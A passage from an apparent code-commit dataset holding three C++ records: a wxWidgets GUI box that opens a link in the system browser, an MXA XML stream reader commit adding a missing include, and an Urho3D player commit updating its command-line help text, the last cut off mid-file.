\/\/Translation\r\n    Box->SetLabel(Box_Get().c_str());\r\n\r\n    \/\/Info\r\n    Text->SetLabel(Text_Get().c_str());\r\n    Text->SetToolTip(ToolTip_Get().c_str());\r\n    Tags->SetLabel(Tags_Get().c_str());\r\n\r\n    if (Button_Show())\r\n    {\r\n        Button->SetLabel(Button_Get().c_str());\r\n        Button->Show();\r\n    }\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid GUI_Main_Easy_Box::GUI_Resize()\r\n{\r\n    \/\/Configuring\r\n    if (MustHide())\r\n    {\r\n        SetSize     (Left?(Left->GetPosition().x+Left->GetSize().GetWidth()):2,\r\n                    Top?(Top->GetPosition().y+Top->GetSize().GetHeight()):0,\r\n                    0,\r\n                    0);\r\n        Hide();\r\n        return;\r\n    }\r\n\r\n    \/\/Calculating Parent data\r\n    int Parent_Width=(Parent->GetClientSize().GetWidth()-1)\/(int)Boxes_Show_Get();\r\n    if (IsLastBox())\r\n        Parent_Width+=(Parent->GetClientSize().GetWidth()-1)%(int)Boxes_Show_Get();\r\n    const int Box_Boundary=3;\r\n\r\n    \/\/Text\r\n    Text->SetSize  (Box_Boundary,\r\n                    Box->GetCharHeight(),\r\n                    (Parent_Width-Box_Boundary*2-(Tags_Get().empty()?0:Box->GetCharWidth()))\/(Tags_Get().empty()?1:2)-1,\r\n                    Text->GetCharHeight());\r\n    Tags->SetSize  (Text->GetPosition().x+Text->GetSize().GetWidth()+Box->GetCharWidth(),\r\n                    Text->GetPosition().y,\r\n                    Tags_Get().empty()?0:Text->GetSize().GetWidth(),\r\n                    Text->GetSize().GetHeight());\r\n    int Text_Width=Text->GetSize().GetWidth();\r\n    Text->SetLabel(Text_Get().c_str());\r\n    Tags->SetLabel(Tags_Get().c_str());\r\n    Text->Wrap(Text_Width);\r\n    Tags->Wrap(Text_Width);\r\n    Text->SetSize  (-1,\r\n                    -1,\r\n                    Text_Width,\r\n                    Text->GetSize().GetHeight()>Text->GetCharHeight()*(int)Lines_Count_Get()*2?Text->GetCharHeight()*(int)Lines_Count_Get()*2:(unsigned int)-1);\r\n    Tags->SetSize  (-1,\r\n                    -1,\r\n                    Text_Width,\r\n                    Tags->GetSize().GetHeight()>Tags->GetCharHeight()*(int)Lines_Count_Get()*2?Text->GetCharHeight()*(int)Lines_Count_Get()*2:(unsigned int)-1);\r\n\r\n    \/\/Button\r\n    Button->SetSize(Box_Boundary,\r\n                    Text->GetPosition().y+(Text->GetSize().GetHeight()>Tags->GetSize().GetHeight()?Text->GetSize().GetHeight():Tags->GetSize().GetHeight()),\r\n                    Parent_Width-Box_Boundary*2,\r\n                    Button_Show()?(Button->GetBestSize().GetHeight()):0);\r\n\r\n    \/\/Panel\r\n    Box->SetSize   (0,\r\n                    0,\r\n                    Parent_Width-2,\r\n                    Button->GetPosition().y+Button->GetSize().GetHeight()+Box_Boundary);\r\n    SetSize         (Left?(Left->GetPosition().x+Left->GetSize().GetWidth()):1,\r\n                    Top?(Top->GetPosition().y+Top->GetSize().GetHeight()):0,\r\n                    Parent_Width,\r\n                    Box->GetSize().GetHeight());\r\n\r\n    if (Button_Show())\r\n        Button->Show();\r\n    else\r\n        Button->Hide();\r\n    Show();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid GUI_Main_Easy_Box::OnClick(wxCommandEvent&)\r\n{\r\n    \/\/Showing\r\n    \/\/wxMessageBox(Button_Click().c_str(), _T(\"Should launch\"), wxOK | wxICON_INFORMATION, this);\r\n    #if defined (_WINDOWS)\r\n        ShellExecute(NULL, _T(\"open\"), Button_Click().c_str(), NULL, NULL, 0); \/\/wxExecute(_T(\"cmd \/C start \")+Button_Click());\r\n    #elif defined (_MACOS) || defined (_MACOSX)\r\n        wxExecute((_T(\"open \")+Button_Click()).c_str());\r\n    #else\r\n        wxExecute(_T(\"xdg-open \")+Button_Click());\r\n    #endif\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _XMLStreamReaderDelegate_hpp_\n#define _XMLStreamReaderDelegate_hpp_\n\n#include \"MXA\/Common\/MXASetGetMacros.h\"\n\n#include \"MXA\/Base\/IMXADataModelReaderDelegate.h\"\n#include <MXA\/Base\/IDataModel.h>\n#include \"MXA\/XML\/DataModelXMLEvtHandler.h\"\n\n#define BUFFER_SIZE 1024\n\ntemplate<typename T>\nclass XMLStreamReaderDelegate: public IMXADataModelReaderDelegate,\n                               public ExpatEvtHandler\n{\n  public:\n    MXA_SHARED_POINTERS(XMLStreamReaderDelegate<T> )\n    MXA_TYPE_MACRO(XMLStreamReaderDelegate<T> )\n\n\n    typedef typename boost::shared_ptr<T>  StreamPointer;\n\n    static Pointer New()\n    {\n     StreamPointer out = StreamPointer(new T);\n     Pointer sharedPtr(new XMLStreamReaderDelegate<T>(out));\n     return sharedPtr;\n    }\n\n    virtual ~XMLStreamReaderDelegate() {}\n\n    virtual IDataModel::Pointer readModel();\n\n    MXA_INSTANCE_PROPERTY_m(StreamPointer, StreamPointer);\n\n\n  protected:\n    XMLStreamReaderDelegate(StreamPointer stream)\n    {\n      m_StreamPointer = stream;\n    }\n\n  private:\n    MXA_INSTANCE_PROPERTY_m(IDataModel::Pointer, DataModel)\n    MXA_INSTANCE_PROPERTY_m(DataModelXMLEvtHandler::Pointer, XMLEvtHandler)\n\n    ExpatParser::Pointer      m_Parser;\n\n    XMLStreamReaderDelegate(const XMLStreamReaderDelegate&); \/\/ Copy Constructor Not Implemented\n    void operator=(const XMLStreamReaderDelegate&); \/\/ Operator '=' Not Implemented\n};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\n\/\/ -----------------------------------------------------------------------------\ntemplate<typename T>\nIDataModel::Pointer XMLStreamReaderDelegate<T>::readModel()\n{\n\/\/  std::cout << \"XMLDataModelReader::readDataModel -> Data Records Size: \" << this->_dataModel->getDataRecords().size() << std::endl;\n\/\/  if ( this->m_DataModel->getDataRecords().size() != 0 )\n\/\/  {\n\/\/    std::cout << \"XMLStreamReaderDelegate::readDataModel - The data model has Data Records. This will turn out to be bad. You should be\"\n\/\/    << \" supplying a data model that is clean.\" << std::endl;\n\/\/    return IDataModel::NullPointer();\n\/\/  }\n\n  m_DataModel = MXADataModel::New();\n\n  \/\/ Create and initialise an instance of the parser.\n  ExpatEvtHandler::Pointer evtHandler = DataModelXMLEvtHandler::NewExpatEvtHandler(m_DataModel);\n  m_Parser = ExpatParser::New(evtHandler.get() );\n  DataModelXMLEvtHandler* dmEvtHandler = dynamic_cast<DataModelXMLEvtHandler*>(evtHandler.get());\n  dmEvtHandler->setParser(m_Parser.get() ); \/\/ We use the raw pointer other wise a circular dependency will occur\n\n  m_Parser->Create(NULL, NULL);\n  m_Parser->EnableElementHandler();\n  m_Parser->EnableCharacterDataHandler();\n\n  \/\/ Load the XML file.\n  char buf[BUFFER_SIZE];\n  bool   atEnd = false;\n  size_t nRead;\n  int xmlParseError = 0;\n  if ( !m_StreamPointer->good())\n  {\n    return IDataModel::NullPointer();\n  }\n\n  while ( false == atEnd && xmlParseError >= 0)\n  {\n    \/\/ Read a block from the XML file and pass it to the parser\n    m_StreamPointer->read (buf, BUFFER_SIZE);\n    nRead = m_StreamPointer->gcount();\n    if (m_StreamPointer->eof() || m_StreamPointer->fail() )\n    {\n      atEnd = true;\n    }\n    m_Parser->Parse(buf, nRead, atEnd);\n    xmlParseError = evtHandler->getParseError();\n  }\n\n  if (xmlParseError < 0) {\n    return IDataModel::NullPointer();\n  }\n  return m_DataModel;\n}\n\n\n#endif \/* _XMLStreamReaderDelegate_hpp_  *\/\n<commit_msg>Fixing some missing include files<commit_after>#ifndef _XMLStreamReaderDelegate_hpp_\n#define _XMLStreamReaderDelegate_hpp_\n\n#include \"MXA\/Common\/MXASetGetMacros.h\"\n\n#include \"MXA\/Base\/IMXADataModelReaderDelegate.h\"\n#include <MXA\/Base\/IDataModel.h>\n#include \"MXA\/Core\/MXADataModel.h\"\n#include \"MXA\/XML\/DataModelXMLEvtHandler.h\"\n\n#define BUFFER_SIZE 1024\n\ntemplate<typename T>\nclass XMLStreamReaderDelegate: public IMXADataModelReaderDelegate,\n                               public ExpatEvtHandler\n{\n  public:\n    MXA_SHARED_POINTERS(XMLStreamReaderDelegate<T> )\n    MXA_TYPE_MACRO(XMLStreamReaderDelegate<T> )\n\n\n    typedef typename boost::shared_ptr<T>  StreamPointer;\n\n    static Pointer New()\n    {\n     StreamPointer out = StreamPointer(new T);\n     Pointer sharedPtr(new XMLStreamReaderDelegate<T>(out));\n     return sharedPtr;\n    }\n\n    virtual ~XMLStreamReaderDelegate() {}\n\n    virtual IDataModel::Pointer readModel();\n\n    MXA_INSTANCE_PROPERTY_m(StreamPointer, StreamPointer);\n\n\n  protected:\n    XMLStreamReaderDelegate(StreamPointer stream)\n    {\n      m_StreamPointer = stream;\n    }\n\n  private:\n    MXA_INSTANCE_PROPERTY_m(IDataModel::Pointer, DataModel)\n    MXA_INSTANCE_PROPERTY_m(DataModelXMLEvtHandler::Pointer, XMLEvtHandler)\n\n    ExpatParser::Pointer      m_Parser;\n\n    XMLStreamReaderDelegate(const XMLStreamReaderDelegate&); \/\/ Copy Constructor Not Implemented\n    void operator=(const XMLStreamReaderDelegate&); \/\/ Operator '=' Not Implemented\n};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\n\/\/ -----------------------------------------------------------------------------\ntemplate<typename T>\nIDataModel::Pointer XMLStreamReaderDelegate<T>::readModel()\n{\n\/\/  std::cout << \"XMLDataModelReader::readDataModel -> Data Records Size: \" << this->_dataModel->getDataRecords().size() << std::endl;\n\/\/  if ( this->m_DataModel->getDataRecords().size() != 0 )\n\/\/  {\n\/\/    std::cout << \"XMLStreamReaderDelegate::readDataModel - The data model has Data Records. This will turn out to be bad. You should be\"\n\/\/    << \" supplying a data model that is clean.\" << std::endl;\n\/\/    return IDataModel::NullPointer();\n\/\/  }\n\n  m_DataModel = MXADataModel::New();\n\n  \/\/ Create and initialise an instance of the parser.\n  ExpatEvtHandler::Pointer evtHandler = DataModelXMLEvtHandler::NewExpatEvtHandler(m_DataModel);\n  m_Parser = ExpatParser::New(evtHandler.get() );\n  DataModelXMLEvtHandler* dmEvtHandler = dynamic_cast<DataModelXMLEvtHandler*>(evtHandler.get());\n  dmEvtHandler->setParser(m_Parser.get() ); \/\/ We use the raw pointer other wise a circular dependency will occur\n\n  m_Parser->Create(NULL, NULL);\n  m_Parser->EnableElementHandler();\n  m_Parser->EnableCharacterDataHandler();\n\n  \/\/ Load the XML file.\n  char buf[BUFFER_SIZE];\n  bool   atEnd = false;\n  size_t nRead;\n  int xmlParseError = 0;\n  if ( !m_StreamPointer->good())\n  {\n    return IDataModel::NullPointer();\n  }\n\n  while ( false == atEnd && xmlParseError >= 0)\n  {\n    \/\/ Read a block from the XML file and pass it to the parser\n    m_StreamPointer->read (buf, BUFFER_SIZE);\n    nRead = m_StreamPointer->gcount();\n    if (m_StreamPointer->eof() || m_StreamPointer->fail() )\n    {\n      atEnd = true;\n    }\n    m_Parser->Parse(buf, nRead, atEnd);\n    xmlParseError = evtHandler->getParseError();\n  }\n\n  if (xmlParseError < 0) {\n    return IDataModel::NullPointer();\n  }\n  return m_DataModel;\n}\n\n\n#endif \/* _XMLStreamReaderDelegate_hpp_  *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/\r\n\/\/ Copyright (c) 2008-2016 the Urho3D project.\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#ifdef URHO3D_ANGELSCRIPT\r\n#include <Urho3D\/AngelScript\/ScriptFile.h>\r\n#include <Urho3D\/AngelScript\/Script.h>\r\n#endif\r\n#include <Urho3D\/Core\/Main.h>\r\n#include <Urho3D\/Engine\/Engine.h>\r\n#include <Urho3D\/IO\/FileSystem.h>\r\n#include <Urho3D\/IO\/Log.h>\r\n#ifdef URHO3D_LUA\r\n#include <Urho3D\/LuaScript\/LuaScript.h>\r\n#endif\r\n#include <Urho3D\/Resource\/ResourceCache.h>\r\n#include <Urho3D\/Resource\/ResourceEvents.h>\r\n\r\n#include \"Urho3DPlayer.h\"\r\n\r\n#include <Urho3D\/DebugNew.h>\r\n\r\nURHO3D_DEFINE_APPLICATION_MAIN(Urho3DPlayer);\r\n\r\nUrho3DPlayer::Urho3DPlayer(Context* context) :\r\n    Application(context)\r\n{\r\n}\r\n\r\nvoid Urho3DPlayer::Setup()\r\n{\r\n    \/\/ Web platform depends on the resource system to read any data files. Skip parsing the command line file now\r\n    \/\/ and try later when the resource system is live\r\n#ifndef __EMSCRIPTEN__\r\n    \/\/ Read command line from a file if no arguments given. This is primarily intended for mobile platforms.\r\n    \/\/ Note that the command file name uses a hardcoded path that does not utilize the resource system\r\n    \/\/ properly (including resource path prefix), as the resource system is not yet initialized at this point\r\n    FileSystem* filesystem = GetSubsystem<FileSystem>();\r\n    const String commandFileName = filesystem->GetProgramDir() + \"Data\/CommandLine.txt\";\r\n    if (GetArguments().Empty() && filesystem->FileExists(commandFileName))\r\n    {\r\n        SharedPtr<File> commandFile(new File(context_, commandFileName));\r\n        String commandLine = commandFile->ReadLine();\r\n        commandFile->Close();\r\n        ParseArguments(commandLine, false);\r\n        \/\/ Reparse engine startup parameters now\r\n        engineParameters_ = Engine::ParseParameters(GetArguments());\r\n    }\r\n\r\n    \/\/ Check for script file name from the arguments\r\n    GetScriptFileName();\r\n\r\n    \/\/ Show usage if not found\r\n    if (scriptFileName_.Empty())\r\n    {\r\n        ErrorExit(\"Usage: Urho3DPlayer <scriptfile> [options]\\n\\n\"\r\n            \"The script file should implement the function void Start() for initializing the \"\r\n            \"application and subscribing to all necessary events, such as the frame update.\\n\"\r\n            #ifndef WIN32\r\n            \"\\nCommand line options:\\n\"\r\n            \"-x <res>     Horizontal resolution\\n\"\r\n            \"-y <res>     Vertical resolution\\n\"\r\n            \"-m <level>   Enable hardware multisampling\\n\"\r\n            \"-v           Enable vertical sync\\n\"\r\n            \"-t           Enable triple buffering\\n\"\r\n            \"-w           Start in windowed mode\\n\"\r\n            \"-s           Enable resizing when in windowed mode\\n\"\r\n            \"-hd          Enable high DPI, only supported by Apple platforms (OSX, iOS, and tvOS)\\n\"\r\n            \"-q           Enable quiet mode which does not log to standard output stream\\n\"\r\n            \"-b <length>  Sound buffer length in milliseconds\\n\"\r\n            \"-r <freq>    Sound mixing frequency in Hz\\n\"\r\n            \"-p <paths>   Resource path(s) to use, separated by semicolons\\n\"\r\n            \"-ap <paths>  Autoload resource path(s) to use, seperated by semicolons\\n\"\r\n            \"-log <level> Change the log level, valid 'level' values are 'debug', 'info', 'warning', 'error'\\n\"\r\n            \"-ds <file>   Dump used shader variations to a file for precaching\\n\"\r\n            \"-mq <level>  Material quality level, default 2 (high)\\n\"\r\n            \"-tq <level>  Texture quality level, default 2 (high)\\n\"\r\n            \"-tf <level>  Texture filter mode, default 2 (trilinear)\\n\"\r\n            \"-af <level>  Texture anisotropy level, default 4. Also sets anisotropic filter mode\\n\"\r\n            \"-gl2         Force OpenGL 2 use even if OpenGL 3 is available\\n\"\r\n            \"-flushgpu    Flush GPU command queue each frame. Effective only on Direct3D\\n\"\r\n            \"-borderless  Borderless window mode\\n\"\r\n            \"-headless    Headless mode. No application window will be created\\n\"\r\n            \"-landscape   Use landscape orientations (iOS only, default)\\n\"\r\n            \"-portrait    Use portrait orientations (iOS only)\\n\"\r\n            \"-prepass     Use light pre-pass rendering\\n\"\r\n            \"-deferred    Use deferred rendering\\n\"\r\n            \"-renderpath <name> Use the named renderpath (must enter full resource name)\\n\"\r\n            \"-lqshadows   Use low-quality (1-sample) shadow filtering\\n\"\r\n            \"-noshadows   Disable shadow rendering\\n\"\r\n            \"-nolimit     Disable frame limiter\\n\"\r\n            \"-nothreads   Disable worker threads\\n\"\r\n            \"-nosound     Disable sound output\\n\"\r\n            \"-noip        Disable sound mixing interpolation\\n\"\r\n            \"-touch       Touch emulation on desktop platform\\n\"\r\n            #endif\r\n        );\r\n    }\r\n    else\r\n    {\r\n        \/\/ Use the script file name as the base name for the log file\r\n        engineParameters_[\"LogName\"] = filesystem->GetAppPreferencesDir(\"urho3d\", \"logs\") + GetFileNameAndExtension(scriptFileName_) + \".log\";\r\n    }\r\n#else\r\n    \/\/ On Web platform setup a default windowed resolution similar to the executable samples\r\n    engineParameters_[\"FullScreen\"]  = false;\r\n#endif\r\n\r\n    \/\/ Construct a search path to find the resource prefix with two entries:\r\n    \/\/ The first entry is an empty path which will be substituted with program\/bin directory -- this entry is for binary when it is still in build tree\r\n    \/\/ The second and third entries are possible relative paths from the installed program\/bin directory to the asset directory -- these entries are for binary when it is in the Urho3D SDK installation location\r\n    if (!engineParameters_.Contains(\"ResourcePrefixPaths\"))\r\n        engineParameters_[\"ResourcePrefixPaths\"] = \";..\/share\/Resources;..\/share\/Urho3D\/Resources\";\r\n}\r\n\r\nvoid Urho3DPlayer::Start()\r\n{\r\n    \/\/ Reattempt reading the command line now on Web platform\r\n#ifdef __EMSCRIPTEN__\r\n    if (GetArguments().Empty())\r\n    {\r\n        SharedPtr<File> commandFile = GetSubsystem<ResourceCache>()->GetFile(\"CommandLine.txt\", false);\r\n        if (commandFile)\r\n        {\r\n            String commandLine = commandFile->ReadLine();\r\n            commandFile->Close();\r\n            ParseArguments(commandLine, false);\r\n        }\r\n    }\r\n\r\n    GetScriptFileName();\r\n\r\n    if (scriptFileName_.Empty())\r\n    {\r\n        ErrorExit(\"Script file name not specified; cannot proceed\");\r\n        return;\r\n    }\r\n#endif\r\n\r\n    String extension = GetExtension(scriptFileName_);\r\n    if (extension != \".lua\" && extension != \".luc\")\r\n    {\r\n#ifdef URHO3D_ANGELSCRIPT\r\n        \/\/ Instantiate and register the AngelScript subsystem\r\n        context_->RegisterSubsystem(new Script(context_));\r\n\r\n        \/\/ Hold a shared pointer to the script file to make sure it is not unloaded during runtime\r\n        scriptFile_ = GetSubsystem<ResourceCache>()->GetResource<ScriptFile>(scriptFileName_);\r\n\r\n        \/\/\/ \\hack If we are running the editor, also instantiate Lua subsystem to enable editing Lua ScriptInstances\r\n#ifdef URHO3D_LUA\r\n        if (scriptFileName_.Contains(\"Editor.as\", false))\r\n            context_->RegisterSubsystem(new LuaScript(context_));\r\n#endif\r\n        \/\/ If script loading is successful, proceed to main loop\r\n        if (scriptFile_ && scriptFile_->Execute(\"void Start()\"))\r\n        {\r\n            \/\/ Subscribe to script's reload event to allow live-reload of the application\r\n            SubscribeToEvent(scriptFile_, E_RELOADSTARTED, URHO3D_HANDLER(Urho3DPlayer, HandleScriptReloadStarted));\r\n            SubscribeToEvent(scriptFile_, E_RELOADFINISHED, URHO3D_HANDLER(Urho3DPlayer, HandleScriptReloadFinished));\r\n            SubscribeToEvent(scriptFile_, E_RELOADFAILED, URHO3D_HANDLER(Urho3DPlayer, HandleScriptReloadFailed));\r\n            return;\r\n        }\r\n#else\r\n        ErrorExit(\"AngelScript is not enabled!\");\r\n        return;\r\n#endif\r\n    }\r\n    else\r\n    {\r\n#ifdef URHO3D_LUA\r\n        \/\/ Instantiate and register the Lua script subsystem\r\n        LuaScript* luaScript = new LuaScript(context_);\r\n        context_->RegisterSubsystem(luaScript);\r\n\r\n        \/\/ If script loading is successful, proceed to main loop\r\n        if (luaScript->ExecuteFile(scriptFileName_))\r\n        {\r\n            luaScript->ExecuteFunction(\"Start\");\r\n            return;\r\n        }\r\n#else\r\n        ErrorExit(\"Lua is not enabled!\");\r\n        return;\r\n#endif\r\n    }\r\n\r\n    \/\/ The script was not successfully loaded. Show the last error message and do not run the main loop\r\n    ErrorExit();\r\n}\r\n\r\nvoid Urho3DPlayer::Stop()\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    if (scriptFile_)\r\n    {\r\n        \/\/ Execute the optional stop function\r\n        if (scriptFile_->GetFunction(\"void Stop()\"))\r\n            scriptFile_->Execute(\"void Stop()\");\r\n    }\r\n#else\r\n    if (false)\r\n    {\r\n    }\r\n#endif\r\n\r\n#ifdef URHO3D_LUA\r\n    else\r\n    {\r\n        LuaScript* luaScript = GetSubsystem<LuaScript>();\r\n        if (luaScript && luaScript->GetFunction(\"Stop\", true))\r\n            luaScript->ExecuteFunction(\"Stop\");\r\n    }\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::HandleScriptReloadStarted(StringHash eventType, VariantMap& eventData)\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    if (scriptFile_->GetFunction(\"void Stop()\"))\r\n        scriptFile_->Execute(\"void Stop()\");\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::HandleScriptReloadFinished(StringHash eventType, VariantMap& eventData)\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    \/\/ Restart the script application after reload\r\n    if (!scriptFile_->Execute(\"void Start()\"))\r\n    {\r\n        scriptFile_.Reset();\r\n        ErrorExit();\r\n    }\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::HandleScriptReloadFailed(StringHash eventType, VariantMap& eventData)\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    scriptFile_.Reset();\r\n    ErrorExit();\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::GetScriptFileName()\r\n{\r\n    const Vector<String>& arguments = GetArguments();\r\n    if (arguments.Size() && arguments[0][0] != '-')\r\n        scriptFileName_ = GetInternalPath(arguments[0]);\r\n}\r\n<commit_msg>Sync Urho3DPlayer command line help from the documentation.<commit_after>\/\/\r\n\/\/ Copyright (c) 2008-2016 the Urho3D project.\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#ifdef URHO3D_ANGELSCRIPT\r\n#include <Urho3D\/AngelScript\/ScriptFile.h>\r\n#include <Urho3D\/AngelScript\/Script.h>\r\n#endif\r\n#include <Urho3D\/Core\/Main.h>\r\n#include <Urho3D\/Engine\/Engine.h>\r\n#include <Urho3D\/IO\/FileSystem.h>\r\n#include <Urho3D\/IO\/Log.h>\r\n#ifdef URHO3D_LUA\r\n#include <Urho3D\/LuaScript\/LuaScript.h>\r\n#endif\r\n#include <Urho3D\/Resource\/ResourceCache.h>\r\n#include <Urho3D\/Resource\/ResourceEvents.h>\r\n\r\n#include \"Urho3DPlayer.h\"\r\n\r\n#include <Urho3D\/DebugNew.h>\r\n\r\nURHO3D_DEFINE_APPLICATION_MAIN(Urho3DPlayer);\r\n\r\nUrho3DPlayer::Urho3DPlayer(Context* context) :\r\n    Application(context)\r\n{\r\n}\r\n\r\nvoid Urho3DPlayer::Setup()\r\n{\r\n    \/\/ Web platform depends on the resource system to read any data files. Skip parsing the command line file now\r\n    \/\/ and try later when the resource system is live\r\n#ifndef __EMSCRIPTEN__\r\n    \/\/ Read command line from a file if no arguments given. This is primarily intended for mobile platforms.\r\n    \/\/ Note that the command file name uses a hardcoded path that does not utilize the resource system\r\n    \/\/ properly (including resource path prefix), as the resource system is not yet initialized at this point\r\n    FileSystem* filesystem = GetSubsystem<FileSystem>();\r\n    const String commandFileName = filesystem->GetProgramDir() + \"Data\/CommandLine.txt\";\r\n    if (GetArguments().Empty() && filesystem->FileExists(commandFileName))\r\n    {\r\n        SharedPtr<File> commandFile(new File(context_, commandFileName));\r\n        String commandLine = commandFile->ReadLine();\r\n        commandFile->Close();\r\n        ParseArguments(commandLine, false);\r\n        \/\/ Reparse engine startup parameters now\r\n        engineParameters_ = Engine::ParseParameters(GetArguments());\r\n    }\r\n\r\n    \/\/ Check for script file name from the arguments\r\n    GetScriptFileName();\r\n\r\n    \/\/ Show usage if not found\r\n    if (scriptFileName_.Empty())\r\n    {\r\n        ErrorExit(\"Usage: Urho3DPlayer <scriptfile> [options]\\n\\n\"\r\n            \"The script file should implement the function void Start() for initializing the \"\r\n            \"application and subscribing to all necessary events, such as the frame update.\\n\"\r\n            #ifndef WIN32\r\n            \"\\nCommand line options:\\n\"\r\n            \"-x <res>     Horizontal resolution\\n\"\r\n            \"-y <res>     Vertical resolution\\n\"\r\n            \"-m <level>   Enable hardware multisampling\\n\"\r\n            \"-v           Enable vertical sync\\n\"\r\n            \"-t           Enable triple buffering\\n\"\r\n            \"-w           Start in windowed mode\\n\"\r\n            \"-s           Enable resizing when in windowed mode\\n\"\r\n            \"-hd          Enable high DPI, only supported by Apple platforms (OSX, iOS, and tvOS)\\n\"\r\n            \"-q           Enable quiet mode which does not log to standard output stream\\n\"\r\n            \"-b <length>  Sound buffer length in milliseconds\\n\"\r\n            \"-r <freq>    Sound mixing frequency in Hz\\n\"\r\n            \"-pp <paths>  Resource prefix path(s), separated by semicolons, default to executable path\\n\"\r\n            \"The resource prefix paths can also be defined using URHO3D_PREFIX_PATH env - var\\n\"\r\n            \"When both are defined, the paths set by -pp takes higher precedence\\n\"\r\n            \"-p <paths>   Resource path(s) to use, separated by semicolons, default to 'Data;CoreData'\\n\"\r\n            \"-pf <files>  Resource package file to use, separated by semicolons, default to none\\n\"\r\n            \"-ap <paths>  Resource autoload path(s), separated by semicolons, default to 'AutoLoad'\\n\"\r\n            \"-log <level> Change the log level, valid 'level' values: 'debug', 'info', 'warning', 'error'\\n\"\r\n            \"-ds <file>   Dump used shader variations to a file for precaching\\n\"\r\n            \"-mq <level>  Material quality level, default 2 (high)\\n\"\r\n            \"-tq <level>  Texture quality level, default 2 (high)\\n\"\r\n            \"-tf <level>  Texture filter mode, default 2 (trilinear)\\n\"\r\n            \"-af <level>  Texture anisotropy level, default 4. Also sets anisotropic filter mode\\n\"\r\n            \"-gl2         Force OpenGL 2 use even if OpenGL 3 is available\\n\"\r\n            \"-flushgpu    Flush GPU command queue each frame. Effective only on Direct3D\\n\"\r\n            \"-borderless  Borderless window mode\\n\"\r\n            \"-headless    Headless mode. No application window will be created\\n\"\r\n            \"-landscape   Use landscape orientations (iOS only, default)\\n\"\r\n            \"-portrait    Use portrait orientations (iOS only)\\n\"\r\n            \"-prepass     Use light pre-pass rendering\\n\"\r\n            \"-deferred    Use deferred rendering\\n\"\r\n            \"-renderpath <name> Use the named renderpath (must enter full resource name)\\n\"\r\n            \"-lqshadows   Use low-quality (1-sample) shadow filtering\\n\"\r\n            \"-noshadows   Disable shadow rendering\\n\"\r\n            \"-nolimit     Disable frame limiter\\n\"\r\n            \"-nothreads   Disable worker threads\\n\"\r\n            \"-nosound     Disable sound output\\n\"\r\n            \"-noip        Disable sound mixing interpolation\\n\"\r\n            \"-touch       Touch emulation on desktop platform\\n\"\r\n            #endif\r\n        );\r\n    }\r\n    else\r\n    {\r\n        \/\/ Use the script file name as the base name for the log file\r\n        engineParameters_[\"LogName\"] = filesystem->GetAppPreferencesDir(\"urho3d\", \"logs\") + GetFileNameAndExtension(scriptFileName_) + \".log\";\r\n    }\r\n#else\r\n    \/\/ On Web platform setup a default windowed resolution similar to the executable samples\r\n    engineParameters_[\"FullScreen\"]  = false;\r\n#endif\r\n\r\n    \/\/ Construct a search path to find the resource prefix with two entries:\r\n    \/\/ The first entry is an empty path which will be substituted with program\/bin directory -- this entry is for binary when it is still in build tree\r\n    \/\/ The second and third entries are possible relative paths from the installed program\/bin directory to the asset directory -- these entries are for binary when it is in the Urho3D SDK installation location\r\n    if (!engineParameters_.Contains(\"ResourcePrefixPaths\"))\r\n        engineParameters_[\"ResourcePrefixPaths\"] = 